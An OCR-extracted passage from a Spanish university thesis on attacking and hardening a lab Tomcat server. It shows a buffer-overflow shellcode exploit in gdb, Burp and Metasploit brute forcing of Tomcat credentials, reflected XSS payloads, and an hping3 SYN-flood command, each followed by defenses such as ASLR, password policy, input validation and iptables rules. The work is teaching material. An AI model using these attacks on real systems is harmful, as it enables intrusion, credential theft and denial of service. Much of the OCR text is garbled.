Start it from the beg1nn1ng7 (y or n) y

Starting program: eto $(./shell.py)
[Thread debugging using 11bth1ead db enabled]

Using host libthread_db library

Breakpoint 1, main ( =2, =@x7fffffffe3a8) at
15 strcpy buffer argv
(gdb) i
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Mostrar toda la pila de memoria para saber la direccién de retorno. Utilizaremos la
tercera direccién de retorno

(gdb) x/40x $rsp

Oxffffe3a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000002
0x00000000

0x00007fff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
@xf7df56ca
@x555551cf

Convertir el formato de direccidon de memoria a formato Little endian

0x00000002
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00007fff
0x00005555

Direccién de memoria original

Formato Little Endian

7fffffffe230

\x30\xe2\xfAAxfA\xff\x7f

Usar la direccidn convertida a Little endian, para agregarla en el cédigo fuente de

Shellpy

nops =
shellCode

regreso ='

R e

# 5/SALESIANA

nops + shellcC reso

Eliminar los puntos de interrupcion, con el clear eliminaremos el break

: 0x00000000 0x00000000

: 0x00000002 0x00000000

: 0x00000000 0x00000000

0x00000000
0xf7df56¢ca
@x555551cf

0x00000000
0x00007fff
0x00005555
(gdb) clear

Deleted breakpoint 1
(gdb) delete

(gdb)

Ejecutamos el programa de Shell y finalmente podremos acceder a la Shell del sistema
Al lograr acceder a la conexiéon remota esta vulnerabilidad también se convierte en
divulgacidn de informacion como se mencioné en la Tabla 1, ya que se puede acceder al
archivo de registro de acceso y extraer informacién sensible sobre los usuarios y las
actividades llevadas a cabo en el servidor. Esto compromete la confidencialidad de los
datos del sistema y permitir ataques posteriores, como el robo de identidad o el acceso
no autorizado a otras cuentas.
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Correccion de desbordamiento de Buffer

El Kernel de Linux o nucleo es el programa importante, esta cargada en la memoria RAM
cuando el sistema operativo arranca y almacena una gran cantidad de procedimientos
criticos que son necesario para la operacion del sistema. Mientras el sistema se
mantiene funcionando, el kernel actia como mediador entre los componentes de
hardware y procesos que se ejecutan en el sistema. (lbarra Fonseca, 2014)

El proyecto Openwall es una proteccion contra desbordamiento de buffer disefiada para
servidores, es uno del software que ha realizado investigaciones e implementaciones de
dichas vulnerabilidades, brinda escudos ante estos ataques mediante parches para el
nucleo incluyendo:

e Acceso restringido FIFOs y enlaces en /tmp

e Acceso restringido a/proc

e Mejorada la aplicacién del numero de los procesos del usuario

e Destruccion de segmentos de memoria compartida que no esté en uso

Métodos Defensivos

Separacion entre el espacio de usuario y el nticleo: La demarcacién entre el espacio de
usuario y el espacio del kernel previene que las aplicaciones de nivel de usuario
perjudiquen el kernel y otros procesos, o interfieran con ellos. Asimismo, se evita el
acceso no autorizado en caso de que el cddigo del espacio de usuario intente ingresar
directamente al espacio del nucleo.

Gestion de memoria segura: El nucleo Linux implementa la gestion de memoria segura
mediante las unidades de administracion de memoria (UAM). La UAM asigna a cada
proceso un espacio de memoria virtual, manteniéndolos separados entre si. Si un
proceso intenta acceder a una memoria que no estd dentro de su region asignada, la
UAM genera un error de segmentacion, brindando asi proteccién contra posibles
vulnerabilidades de seguridad.

Control de acceso de usuario: Linux incorpora un robusto sistema de control de acceso
gue otorga a los usuarios y procesos distintos niveles de autorizacién. Los elementos
fundamentales de esta estructura son la propiedad de los archivos y los privilegios. Estos
privilegios son implementados por el nucleo, evitando que usuarios y grupos no
autorizados obtengan acceso a archivos y directorios.

ASLR: Una técnica de seguridad integrada, Address Space Layout Randomization (ASLR),
protege el sistema contra ataques de desbordamiento de bufer. Cada vez que el sistema
se inicia, asigna de forma aleatoria la disposicién de direcciones de memoria de los
procesos en ejecucion, lo que dificulta a los hackers predecir la ubicacién exacta donde
se ubicara la memoria para ejecutar codigo malicioso.
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Vulnerabilidad de fuerza bruta en aplicacion Web

Para realizar el ataque de vulnerabilidad utilizaremos una app gratuita encontrada en
el link http://carloszuluaga.wikidot.com/pruebascarga:instalar-app-ejemplo

Desplegar la app con extensidn war en el servidor de aplicaciones tomcat, en este caso
se encontrard en la ruta EjemploPruebaCarga.

€) GitHub - omarkurt/ssjs: = x [ instalar Aplicacién de &

O D localhost

[ Ayuda HTML de Gestor | Ayuda de Gestor Estado de Servidor|

Version Nombre a Mostrar Ejecutandose Sesiones Comandos

Arrancar | Parar | Recargar Replegar
Ninguno . N

especificado 2 Expirar sesiones | sin trabajar = [30
minutos

Amancar | parar | Recargar | | Replegar

Ninguno

k
aspecificads EjemploPruebacarga

Expirar sesiones | sin trabajar = 30
minutos

Armrancar | Parar | |Recargar | | Replegar

Ninguno Tomcat Host Manager e
especificada Application Expirar sesiones | sin trabajar = 30
minutos

Arrancar_Parar_Recargar Replegar
Tomeat Manager Application Expirar sesiones sin trabajar = 30
minutos

Ninguno

(R especificado

|
Desplegar directorio o archive WAR localizado en servidor

Trayectoria de Contexto (opcional)
Version (for parallel deplayment):
URL de archivo de Configuracién XML:

URL de WAR o Directorio:

x  €) GitHub - omarkurt/ssj

O D localhost

Enter Password: 554

20O EFEPQAE &

af

personal
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Desde el lado de Kali: Utilizaremos la herramienta Burpsuite, para capturar la peticion
de ingreso de sesidn, para esto agregaremos cual valor.

& hitp/N92188101140,8080 192188101140 25450518 M. 808
9 hup/MI1RI0I1408080  POST 192.168.101.140 23481218M.. 8081

eox 4

192.168.101.140

.
7

SYSTEM FAILURE | ; ;

Ya obtenida la peticién, identificar y seleccionar la variable que necesitamos
automatizar, con la ayuda de un diccionario de palabras claves y el componente “sniper”
realizaremos un ataque de fuerza bruta a base de pruebas e intentos, ademas de poder
utilizar la solicitud http para transmitir cookie de sesidn a través del canal inseguro como
se menciona en la Tabla 2.
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# 5/SALESIANA

Para esta practica creamos un diccionario basico con palabras aleatorias entre esa la
correcta, el archivo tendrd el nombre de password.txt para validar el funcionamiento.

hmstudent@hmstudent: ~

File Actions Edit View Help

nano 6.1 password.txt *

Dentro de la opcidn intruder- payload options, cargaremos el archivo password.txt
creado, automaticamente se creard la lista de las palabras clave agregadas en el
archivo, observamos que las peticiones sean las correctas e iniciamos el ataque

on the attacktype defimedin the Pesitions tab, Varig| = Statws  Eror  Timeout  Llengh  Comment
o 00 558
i 00 see
2 200 8
3 00 o8
3 200 s
s 200 558
@ 6 200 ss8
C , o0 oz
This prioad ype It you cogurea simple st o srngs that are e as payoacs. 8 00 88
s 200 sus
o 0 200 s
e n 200 588
et = 0 e
el I 200 68
peped " 00 s88
Pepe12
peperzs
pepettn
pepeisd
papets
s
Add Erabled n
e
.
i
Dow
®
This et sdtotsL finalpoyoad, . MITPrsquests,
- Finished
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Automaticamente envia varias peticiones con las palabras claves, al finalizar el ataque
visualizamos que dentro de los resultados en el campo length se muestra diferencias,
esto nos da senal de cual es la clave.

Intentar ingresar a la sesidn con la contrasefa descubierta, logrando de esta manera
acceder al sistema.

2. Intruder attack of 192168101140 - Tempy
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Vulnerabilidad de fuerza bruta a Tomcat

Demostrarnos que, con unas configuraciones basicas de credenciales, es propensa a
vulnerabilidades de fuerza bruta, para esta prueba utilizamos la herramienta
msfconsole de la maquina virtual de Kali.

Actions Edit View Help

nt with the
1 use this

Name Disclosure Date Rank Check Description

auxili L 2 normal No Apach ns FileUpload and
Apache Tomeat

Yes Apache St s 2 Developer Mode

En este caso utilizamos la opcidn 23 ya que hace referencia a login de manager

normal c Tomeat Application Manager Login Utility

Pagina 68 de 86



Ejecutamos el comando Run para iniciar el ataque, luego de completar el ataque,
visualizamos dentro de todo el resultado una respuesta positiva de toda la lista, con
estas credenciales podremos acceder al manager del tomcat.

msf6 auxiliary( } > run

[!] No active DB ( ential data will not be saved!
Login Successful: admin:admin
r:admin

LOGIN FAILED: man
LOGIN FAILED: man
LOGIN FAILED: man :rolel (Incol
LOGIN FAILED: { :root (Inco

| OGIN FATLED: manmager:tomcat (Inc

Correccion de fuerza bruta en Tomcat

Para protegernos de los ataques de fuerza bruta, utilizamos una configuracién segura
de contrasefias donde seguiremos las siguientes politicas de referencia:

1. Longitud adecuada. - Establecer una longitud minima para las contrasefias,
generalmente se recomienda un minimo de 8 caracteres. Mientras mas larga sea
la contrasefia, mejor.

2. Combinacién de caracteres. - Exigir una combinacién de diversos caracteres en
las contrasefias, incluyendo letras mayusculas y minudsculas, nimeros y
caracteres especiales como simbolos o signos de puntuacion.

3. Evita informacién personal. - Evitar usar informacion personal como nombres
propios, fechas de nacimiento, nimeros telefénicos o direcciones en sus
contrasefas. Estos datos son faciles de obtener y adivinar por los atacantes.

4. No usar palabras comunes. - Desordena el uso de palabras comunes o términos
gue se encuentren en el diccionario, ya que los ataques de fuerza bruta pueden
probar combinaciones de palabras facilmente.

GNU nano 6.2 etc/tomcat9/tomcat-users.xml *
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Vulnerabilidad de XSS reflejado

Para la ejecucién de este ataque se desarrolld una aplicacion web en JSP, donde se
agrega un formulario html utilizando el método post, donde contiene una tabla con tres
filas, cada una con dos columnas, en cada fila contiene los campos nombre, apellido
teléfono.

Al presionare el botén Guardar direccionara a un Servlets llamdo usuario.java.

Dentro del cddigo index.jsp

@ appTesis-1.0 Source  History  [[¢] QRFEL PLR | =20
& Web Pages @
xgﬁ:y 2z <%@page impo ava.net.InetAddress"a>
B ind i 3 <%@ page i "
\naexssp 1 <%@ page i
§ RESTFul Web Services -

& Source Packages
[E5]
E Vistas <%@page co

[# usuariojava
[ com.testapptesis 9
[ com.test.apptesis.resources

B Test Packages ﬁ 7 tent="text/html; charsec=UTE-
5 Other Sources i
2 Dependencies -
& Java Dependencies Ll
o & Project Files 1
AppTesis-2.0 i
17|\
13|\
15| [ Tz
20 “td-Nombre<
21 ‘td><input td
22| + tx
23 ([ t
s | 2s ctd>Apellido</td>
25 ctd><input type="text” name—"apellido"/></td:
{3 html 26/ - -
€3] head 273 -
€3] meta 28 <td>Teléfono</ td>
€3] title 29 ctds<input t e="telefon td
@éody 30| |
h1 31 | =
& br 32 g e="submi. lue=
€3] form 33|
(€3] table 34 I F,
=R 35| - form
&l 1 36
3l td 17
[£3] it

Este cédigo realiza una verificacion de ping a una direccién ip especifica, El codigo
comienza con las etiquetas <% %>, que delimitan la seccién de cédigo Java dentro del
archivo JSP, Se declara una variable de tipo String llamada host para almacenar el valor
del parametro "host" enviado mediante el método GET, Se establece una variable
timeout de tipo int con un valor de 3000 (3 segundos) que representa el tiempo de
espera maximo para el ping en milisegundos.

Se utiliza out.println para imprimir el resultado HTML en la pagina, Dentro del bloque if
(reachable), se muestra un mensaje indicando que el host es alcanzable, Dentro del
bloque else, se muestra un mensaje indicando que el host no es alcanzable, Si ocurre
alguna excepcion durante el proceso de verificacion, se muestra un mensaje de error en
la pagina.
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El formulario se envia utilizando el método GET y se envia a la misma pagina (accidn
vacia: action="").

Projects X | Files  Services _ | [ indexjsp x | [#] usuariejava x
© AppTesis-1.0 Source  History ¢/ QaSFBIL LR =2 e
& Web Pages 37
META-INF 38 J]
WEB-INF 39| [ <%
[ indexjsp 40 String host = request.getParameter ("host");
B RESTFul Web Services 41 int timeout = 3000:
B Source Packages 1z
[ vistas 43 if (host != null &£ 'host.isEmpty()) {
|#] usuario java 44 try {
E5 com.test.apptesis 45 Inetiddress inetAddress = InethAddress.getByName (host):
[ com.test.apptesis.resources 15 boolean reachable = inetAddress.isReachable (timeout);
i Test Packages 47
O Other Sources 48 out.println("<h2
& Dependencies 44 if (reachable)
g Java Dependencies 50 out.println
& Project Files 51 } else {
@ AppTesis-2.0 52 cut.println("<p>" + host + " is not xe Bp>"):
53 ¥
54 } catch (Exception &) {
55 out.println("<p>Error: " + e.getMessage() + "</p>"):
56 )
57
sz | &>
59
&0
Navigator x = 61| &
3 bt €2
{3 head 63
{3 meta &4
3 title 65|
{3 body 66
= 67
3 br 68| body:
{3 form 63| - </htmis
[ table 70
3+

El Servlets llamado “usuario” maneja las solicitudes GET y POST relacionada con el
formulario de JSP.

Método doGet:
Este método se encarga de manejar las solicitudes GET a la URL "/usuario".
Actualmente, el método estd vacio y no realiza ninguna operacion.

Método doPost:

Este método se encarga de manejar las solicitudes POST a la URL "/usuario", Dentro de
este método, se obtienen los pardmetros enviados en la solicitud POST, como "nombre",
"apellido" y "teléfono", utilizando request.getParameter(), Se establece el tipo de
contenido de la respuesta como "text/html;charset=UTF-8" utilizando
response.setContentType(), Se utiliza PrintWriter para generar la respuesta HTML que
se enviara al cliente, El cédigo HTML generado muestra la informacién del usuario
recibida en los pardmetros, como el nombre, apellido y teléfono.
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Dentro del cédigo Usuario.java

Projects % | Files Services | [#] indexjsp ¥ | [&] usuariojava %
&) AppTesis-1.0 Source | Histoy [ -B- QA™HFZLE(FHD
[ﬁ WebPages 1 package Vistas;
[0 META-INF ; ;
1 WEEINF 2 import java.io.ICException;
@ indexi 3 import java.io.PrintWriter;
‘ndexisp ) 4 import javax.servlet.ServlietException:
[ RESTful Web Services ,
5 import javax.servlet.annotation.WebSexrvlet;
[E Source Packages
EE] Vistas [ import javax.servlet.http.HttpServlet:
@ Lo 7 import javax.servlet.http.HttpServletReguest;
usuario.java 8 import javax.servlet.http.HttpServletResponse;

EE] com.test.apptesic

9
com.test.apptesis.resources
EEE;I:P K PP 10 @WebServlet (name = "usuarico”, urlPatterns = {"/usuario"})
sstrackages 11 public class usunario extends HttpServlet {
3 Other Sources -
'8 Dependencies = @Override

‘g Java Dependencies @

protected void doGet (HttpServletRequest regquest, HttpServletResponse response)
EE! Proj.ectF\\es 15 throws ServlietException, IOException {
@ AppTesis-2.0 [?
16 1
17 @Boverride
@ protected void doPost (HttpServletRegquest regquest, HttpServletResponse response)
19 throws ServletException, IOException
20| [ {
21 String nombre = request.getParameter ("nombre™);
22 S5tring apellido = request.getParameter ("apsllido™);
23 String telefono = request.getParameter("telefono™)
JolGet - Navigator _ 24 response.setContentType ("text/html; charset=UTF-8");
25 try (PrintWriter out = response.getWriter())
Members ~ || <empty> E 26| [ 1
b usuario # HitpServlet 27 out.princln("<!DOCTIYPE html>");
< usuariof] 8 out.println("<html>"};
% doGet{Http request, Hitp 29 out.println("<head>"):
ﬂ') doPost(HttpServietRequest request, HttpServlet | 30 out.println("<title>Respussta des Servlet</title>");
31 out.println("</head>");
32 out.println ("<body>"});
33
34 out.println("<hl> Informacién del Usuario® + nombre+"</hl>");:
35 out.println("<p> Apellido de usuario " + apellido +"</p>");
36 out.println("<p> Telefono de usuario " + telefomo +7</p>");
37 out.println ("</body>");
8 out.println ("</html>");
38| }
40 = ¥
41 }

Desplegamos la aplicaciéon web en el tomcat del servidor Ubuntu, una vez cargada en el
administrador de tomcat automaticamente se direccionard la ruta AppTesis-1.0

" & X
éx & | /manager +

<« (¢} O D localhost:8080/manager/html/upload?org.apache. catalina.filters.CSRF_NONCE=3CODE5CDDC559C587723FC7155E017C3 0% ¥

Gestor de Aplicaciones Web de Tomcat

‘ Mensaje:

caciones Ayuda HTML de Gestor Ayuda de Gestor

Ruta version Nombre a Mostrar j Sesiones comand
Arrancar [Parar | [Recargar|
i Ninguno especificada true [ ————
| Expirar sesiones | sin trabajar minutos
Amancar
[AppTesis-1.0 Ninguno especificado true 0
Expirar sesiones| sin trabajar minutos
Arrancar [Parar| [Recargar|
/host-manager Ninguno especificado Tomcat Host Manager Application true 1
trabajar
Arrancar_Parar Recargar _Replegar
/manager Ninguno especificado Tomcat Manager Application true 1 - -
sin trabajar minutos
Armancar |Parar| |Recargar| [Replegar|
Isample Ninguno especificado Hello, World Application true 0
| Expirar sesiones sin trabajar minutos

Do OFEPAOE &

Desplegar directorio o archivo WAR localizade en servidor

Trayectoria de Contexto (opcional): [ |
Version (for parallel deployment): [ |
URL de archivo de Configuracion XML [ |

URL de WAR o Directorio: |

| Desplegar|
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Desde Kali accedemos a la url donde se encuentra cargado el proyecto de la aplicacion
web en este caso es la URL: 192.168.101.140:8080/AppTesis-1.0/

S mEP D o]

@ JSPPage x +

< C A Notsecure | 192.168.101.140:8080/ 2

Formulario

Nombre | |
Apellido | |

Teléfono | |

| guardar |

Validar IP: | || Ping |

Intentamos inyectar comandos dentro de alguno de los campos, en este caso
ingresamos javascript dentro del campo validar IP

S oEmP®»or]

@ JSP Page x +

& A Notsecure | 192.168.101.140:8080/App

Formulario

Nombre | |
Apellido | |

Teléfono | |

| guardar |
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Esta accidn provocarad una lectura de cédigo html y se aplica como parte del cédigo

fuente de la pagina web

KaliAlumno
S Emk ool
ISP Page X  +

<« X A e | 192.168.101.140:8080/Ap

Otra herramienta que ayuda a la inyeccion de comandos por peticiones es burpsuite,
en este ejercicio capturamos la peticién de post al enviar los parametros llenos,
posteriormente introducimos cédigo que altere la respuesta.

Burp Suite Community Edition v2021.10.3 - Temporary Project

Burp  Project Intruder Repeater Window Help
Target  Prowy  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Leam
1%
Response

—
[ Hex nwo= Pretty Raw Hex
1 POST /AppTesis-1.0/usuarie HTTP/1.1
2 Host: 192.168.101.140:8080
3 Content-Length: 55 10 - -
3 Content -Length: 55 oo Informacion del Usuarioedwin
S Upgrade-Insecure-Requests: 1
& Origin: http://192.168,101.140:8080 . . -
7 Content-Type: application/x-www-form-urlencoded Apellido de usuario tomalAj
User-Agent : Mozilla/S.0 (Windows NT 10.0; Winga; x64] AppleWebKit/S37.36 (KHTML, like Gecke] Chrome/96.0.4664.45
Safari/537.36

9 Accept
text/htwl,application/xhtml+xnl, application/xnl;q=0.9, inage/avif, inage/webp, inage/apng, */#;¢=0.8, application/signe

d-exchange;v=b3;g=0.9

10 Referer: http://192,168.101.140:8080/AppTesis-1.0/ 122
11 Accept-Encoding: gzip. deflate

12 Accept-Language: en-US,en;g=0.9

13 Cookie: JSESSIONID-EECO4137CE14F8713CALCI46CELFBLEE

14 Connection: close

1=

16 nombre=edwingapellido=tonalCFsAlst el efono=<hl=122</h1>

Telefono de usuario
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Correccidn para XSS reflejado
Crear validaciones de formularios con el atributo “pattern” a las entradas de datos, en

este caso se considerd unas validaciones del ingreso de solo letras y niumeros, de esta
manera prohibimos el ingreso de cédigo html en los campos.

En la figura se muestra el uso del atributo pattern, anadiendo [A-Za-z] {1,15} a los
campos nombre, apellido y teléfono.

Formulario</hl

cd><input e="raxt 0=-G1{1,11} name="telefono

En la siguiente figura visualizamos el resultado de la validacion afiadida, donde no nos
permite introduccién cédigo javascript dentro del campo de entrada teléfono.

localhost

Formulario

Nombre | |
Apellido | |

Teléfono [cript>alert('ejemplo’)</script>|

Busque la coincidencia con el formato solicitado.

Validar 1P [ <script>aleri{’ejemplo’}</scrij| | Fing |
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En la figura se muestra la definicién de la variable host que obtiene valores del
parametro “host” enviado en la solicitud http, al verificar si el host no es null y cumple
con el patron especificado utilizando host.matches(“*[a-zA-Z0-9.-]+S”). Esto asegura
que el valor de host solo contenga caracteres alfanuméricos, puntos(.) y guiones (-).

<3
String host = reguest.getParameter ("h
int timeout = 3000; Tiempo de espera en milisegundos
if(host '= null && host.matches (""" [a-zh-Z0-9.-]1+5")) {
try {
InetBAddress inetAddress = InetAddress.getByName (host) ;
boolean reachable = inetAddress.isReachable (timeout)
out.println ("<h2>Ping Result:</h2>");
if (reachable) {
out.println("<p>" + host + ™ is reachable.</p>");
} else {
out.println {"<p>" + host + " is not reachable.</p>");
}
} catch (Exception e) {
out.println("<p>Error: " + e.getMessage() + "</p>"):
}
}
>

Sd="EET" =

>Validar IP:</label>

En la figura visualizamos el resultado de la validacién agregada, donde nos prohibe el
ingreso de cédigo dentro del url

localhost

Formulario

Nombre | |
Apellido | |

Teléfono | |

guardar

validar IP: |:ript:=aIeri{'ejemplo‘]{.l'scripl#l| Ping |

Busque la coincidencia con el formato solicitado.
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En la figura visualizamos el resultado de la validacién agregada, donde nos prohibe el
ingreso de cédigo dentro del campo validar IP

@ localhost

Formulario

Noube
P —
o —

T —
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Vulnerabilidad de DoS

Hping3 -c 200000 -d 120 -S -p 80 —flood —randsource 192.168.101.140

Indicamos que utilizamos la herramienta hping3, enviaremos la cantidad de 200000
paquetes con un tamano de 120, atacaremos el puerto 80, enviaremos el paquete tan
rapido como podamos, cambiaremos aleatoriamente la IP de origen.

; root@hmstudent: /home/hmstudent

File Actions Edit View Help

[sudo] password for hmstudent:
Sorry, try again.
[sudo] password for hmstudent:
Sorry, try again.
[sudo] password for hmstudent:

zsh: suspended sudo du

~

[sudo] password for hmstudent:
/home/hmstudent
200000 120 80 192.168.101.140
HPING 192.168.101.140 (eth® 192.168.101.140): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

Este proceso enviara una gran cantidad de paquetes, al servidor de aplicaciones
provocando un aumento excesivo de consumo de CPU, a su vez interrumpiendo el
funcionamiento correcto de la aplicacién WEB como lo mencionado en la tabla 3.

UbuntuTesis

Actividades (] Terminal 28deabr 21:40 03

server@server-virtual-machine: ~

4853 server
617
2163

2908 server
1
313
358
620
621
633
637
638
671
672
675

htop
/1lib/systemd/sy

Jusr/libexec/gv
/sbin/init spla
/1lib/systemd/sy
/1ib/systemd/sy
/lib/systemd/sy
/lib/systemd/sy

(oo Mo NNl

Jusr/bin/VGAuth

Jusr/bin/vmtool

Jusr/libexec/ac

Jusr/sbin/acpid

avahi-daemon: r
F9 F10

[cllcNoNoNoNoNoNoNoNoNoNoNoNo N

m .
lcllcNoNoNoNoNoNoNoRNoNoNoNoNol

nununuvunuvunununununununmnumuuunununn
NOOOOOO0OOOOOOOOOOONNNW
NeEbhbbunbboobNOOLOSLBN
[ RHoNcoRoNoNoNoNoNoNoNoNoNoNoNoNol

MOOOOOOOOOO

-
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Prevencidn para DoS

La prevencion nos ofrece una posibilidad de eliminar un ataque y a su vez no se ejecute.
Estas medidas aplican cambios en los protocolos, aplicaciones y sistemas para fortalecer
el intento de ataques. El objetivo de la prevencién es amenorar el riesgo de sufrir
algunos de los ataques de vulnerabilidad. Sin embargo, la prevision no elimina la
amenaza de ataques por denegacidn de servicio, simplemente las retiene y no permite
el ingreso a su ejecucioén.

IpTables

es una herramienta de linea de comandos muy util en Linux que se utiliza para configurar
la funcionalidad de proteccién de red incorporada en el nucleo del sistema operativo.
Con esta herramienta, puedes establecer reglas y filtros que te permiten controlar el
flujo de trafico de red y proteger tu sistema de manera efectiva. Iptables te brinda la
capacidad de definir reglas especificas para permitir o bloquear diferentes tipos de
paquetes de red, basandose en diversos criterios como direcciones IP de origen vy
destino, puertos, protocolos y otros aspectos relevantes. Gracias a estas
funcionalidades, puedes fortalecer la seguridad de tu sistema y tener un mayor control
sobre las conexiones de red que se establecen. (Purdy, 2009)

Las cadenas mas comunes son:

INPUT: Controla el trafico entrante destinado al sistema.

OUTPUT: Controla el tréfico saliente generado desde el sistema.

FORWARD: Controla el trafico que se envia a través del sistema (enrutamiento).

Bloqueo de trafico ICMP
Esta regla bloquea el ping, también bloquea los paquetes de inundacidn icmp, ademas
de bloquear el ping flood o ping de la muerte.

iptables -t mangle -A PREROUTING -p icmp -3j DROP

UbuntuTesis

Actividades () Terminal 30deabr 23115

:-S iptables -t mangle -A PREROUTING -p icmp -j DRO

$~ [+ server@server-virtual-machine: ~ Q = = o
Fl

> iptables v1.8.7 (nf_tables): Could not fetch rule set generation id: Permission
denied (you must be root)

- :§ sudo iptables -t mangle -A PREROUTING -p icmp -

.6 j DROP
[sudo] contrasena server:
Lo siento, pruebe vez.
[sudo] contrasefa server:
Lo siento, pruebe vez.
[sude] contrasena server:

sl
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Bloqueo de trafico por cantidad de conexiones

Esta regla boquea a equipos que superan un umbral determinado de cantidades de
conexiones establecidas, en este caso si un host en internet realiza 85 conexiones al
puerto 80 se bloqueara asumiendo que es algun tipo de ataque.

iptables -A INPUT -p tcp -m connlimit --connlimit-above 85
-j REJECT --reject-with tcp-reset

UbuntuTesis

Actividades [ Terminal 30deabr 23:17

*‘ [+ server@server-virtual-machine: ~ Q = = m]

:-$ sudo iptables -A INPUT -p tcp -m connlimit --co
nnlimit-above 85 -j REJECT --reject-with tcp-reset

:-% iptables -L
iptables v1.8.7 (nf_tables): Could not fetch rule set generation id: Permission
denied (you must be root)

:~% sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
REJECT tcp -- anywhere anywhere #conn src/32 > 85

- reject-with tcp-reset

-
L
Chain FORWARD (policy ACCEPT)
@ target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination

R |

A

Bloqueo de trafico por cantidad de conexiones por unidad de tiempo

Esta regla limita un maximo de 50 conexiones por segundo de maquinas remotas, con
una rafaga de 18 conexiones entre segundos. Esto es importante ya que muchas veces
un atacante intentara inundar de trafico nuestros servidores intentando estableces
muchas conexiones.

iptables -A INPUT -p tcp -m conntrack --ctstate NEW -m
limit --limit 50/s --limit-burst 18 -j ACCEPT

iptables -A INPUT -p tcp -m conntrack --ctstate NEW -j DROP

: S sudo iptables -A INPUT -p tcp -m conntrack --ct
state NEW -m limit --limit 58/s --limit-burst 18 -j ACCEPT
:$ sudo iptables -A INPUT -p tcp -m conntrack --ct
state NEW -j DROP
:-% sudo iptables
iptables v1.8.7 (nf_tables): no command specified
Try “iptables -h' or 'iptables --help' for more information.
:-% sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
REJECT tcp -- anywhere anywhere #conn src/32 > 85
reject-with tcp-reset
ACCEPT tcp -- anywhere anywhere ctstate NEW limit:
avg 50/sec burst 18
DROP tcp -- anywhere anywhere ctstate NEW

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
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Después de agregar las reglas que mencionamos, realizamos nuevamente el ataque y
verificamos que la elevacidn del procesador ya no se eleva al 100%.

UbuntuTesis
Actividades Terminal 30deabr 2
s el server@server-virtual-machine: ~
Chain FORWARD (policy ACCEPT)

target prot opt source
server@server-virtual-machine: ~

Cchain OUTPUT (policy ACCEPT)
target prot opt source
state NEW -m limit --limit 50/s
state NEW -j DROP

iptables vi1.8.7 (nf_tables): no ¢
Try “iptables -h' or 'iptables --

(sd-pam)

/lib/systend/sy
/1lib/systend/sy
/lib/systemd/sy
/1lib/systemd/sy
/lib/systend/sy

@
v ow

Chain INPUT (policy ACCEPT)
target prot opt source
REJECT tcp -- anywhere
reject-with tcp-reset

ACCEPT tcp - anywhere
avg 58f/sec burst 18

DROP tcp -- anywhere

@

[cN-N-N-N-N-]
]

0.0
0.0
0.0
G} 0.0
0.0
0.0

@
o w

bow

J1lib/systemd/sy
/sbin/init spla
/sbin/wpa_suppl
/snap/snapd-des
/snap/snapd-des

Chain FORWARD (policy ACCEPT)
target prot opt source

Chain OUTPUT (policy ACCEPT)
target prot opt source

OO0 00

ToooOoOoOOO@
[N NNl NNl
Lunununmo N~

~oocoQoo0OQ0Q00Q@

H [
F1

. .
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6. Conclusiones

e Realizar un andlisis previo de las vulnerabilidades que puede presentar un servidor
de correo es de gran importancia, esto con el fin de establecer acciones de
mitigacién y reaccidon ante posibles eventos que sean generados por factores
externos. Los atacantes buscan alterar el funcionamiento correcto de los servidores
con diversos objetivos.

e El uso de mdquinas virtuales en ambientes controlados permite realizar pruebas de
seguridad, para simular ataques, explotar vulnerabilidades. Dentro de un entorno
empresarial, esto es de gran ayuda para no alterar el funcionamiento normal de una
empresa, para evitar la pérdida de informacién y no manipular los servidores dentro
de un entorno laborar.

e Se logré evidenciar que los cambios realizados en la mdquina virtual con
vulnerabilidades surgieron efecto en la maquina virtual que se implementd con las
soluciones sugeridas. Este manual de las vulnerabilidades detectadas es una
referencia para posibles soluciones y deja abierta la posibilidad de nuevas
investigaciones en el campo del andlisis de vulnerabilidades.

e La utilizacién de ambientes virtuales para emular servidores de aplicaciones facilita
la indagacidén de las vulnerabilidades que se generan intencionalmente en las
configuraciones iniciales, permitiendo un mejor manejo al tratamiento de dichas
vulnerabilidades. De esta manera realizar pruebas sin limite de intentos.

e Investigar el funcionamiento de las vulnerabilidades que se aprovechan de las malas
configuraciones, ayudan a comprender la gran importancia de mantere el servidor
completamente configurado y con sus debidas restricciones.

e Abordar las vulnerabilidades de XSS en el cédigo fuente es esencial para garantizar
la seguridad de las aplicaciones web y proteger a los usuarios de las potenciales
consecuencias adversas. La combinacién de buenas practicas de desarrollo, medidas
de seguridad y concienciacion adecuada puede ayudar a prevenir y mitigar los
riesgos asociados con el XSS.
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